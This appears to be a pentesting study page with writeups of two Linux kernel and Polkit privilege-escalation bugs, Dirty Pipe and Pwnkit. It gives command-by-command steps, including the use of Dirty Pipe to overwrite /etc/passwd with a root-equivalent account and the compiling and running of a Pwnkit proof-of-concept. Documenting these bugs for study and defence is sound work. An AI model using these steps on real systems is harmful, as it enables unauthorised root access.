Skip to content

Linux — CVE Writeups

CVE-2022-0847 — Dirty Pipe

  • In plain terms: Dirty Pipe is a Linux kernel bug that lets a normal, unprivileged user overwrite the contents of files they can only read (not write) — including files owned by root — by abusing how the kernel's pipe buffer handles data. It doesn't let you create new files, only corrupt/overwrite existing ones you have read access to.
  • Bearing in mind the exploit won't let us create files (we can only overwrite information in existing files), we first need to find a file our user can read, but that still allows us to elevate privileges. The obvious choice is /etc/passwd.

  • Whilst password hashes are usually stored in the restricted-access /etc/shadow on modern Linux systems (as opposed to being stored traditionally in /etc/passwd), most Linux variants still check to see if account password hashes are given in /etc/passwd. This means we can write a user with root permissions and a known password hash directly into the passwd file.

  • First, generate a password hash for a password we choose:

openssl passwd -6 --salt OSM "osama"

output:

$6$OSM$EveonPNF5e2JNMNH8G1D1L.eMxyXOag0UaW0AmUoxHp7YPsv1mIaYYIjqC1sxSFUU/mWGMEAdUdJBGqcGLG6O/
  • Check /etc/passwd for an existing low-numbered user ID we can overwrite/repurpose in our injected entry (any existing user works — this just finds one to reference):
grep -b "games" /etc/passwd

  • Grab that user's UID from the grep output — assume it's 189 for this run.

  • Compile the Dirty Pipe proof-of-concept exploit:

gcc poc.c -o exploit
  • Run the exploit against /etc/passwd, injecting a new root-equivalent user entry with the hash generated above:
./exploit /etc/passwd 189  'osama:$6$OSM$EveonPNF5e2JNMNH8G1D1L.eMxyXOag0UaW0AmUoxHp7YPsv1mIaYYIjqC1sxSFUU/mWGMEAdUdJBGqcGLG6O/:0:0::/root:/bin/bash
> '

Note

There are 2 spaces between 189 and the username, and the trailing ' must be kept on the next line as shown.

CVE-2021-4034 — Pwnkit

  • In plain terms: Pwnkit is a local privilege escalation bug in Polkit (pkexec), a helper installed by default on almost every major Linux distribution to let regular users run specific commands as root. The bug lets an unprivileged local user go straight to a root shell.

  • CVE-2021-4034 (colloquially dubbed "Pwnkit") is a terrifying Local Privilege Escalation (LPE) vulnerability, located in the "Polkit" package installed by default on almost every major distribution of the Linux operating system.

  • After obtaining or building the exploit code, compile it:

gcc cve-2021-4034-poc.c -o exploit
  • Run it:
./exploit
  • Result: root shell.

See also

  • Capabilities — cap_setuid abuse for another root-level privesc primitive (capabilities vs. kernel/setuid-binary bugs).
  • Privilege Escalation for the general Linux privesc technique index.
  • gtfobins.github.io — reference for privesc via misconfigured binaries once a foothold is established.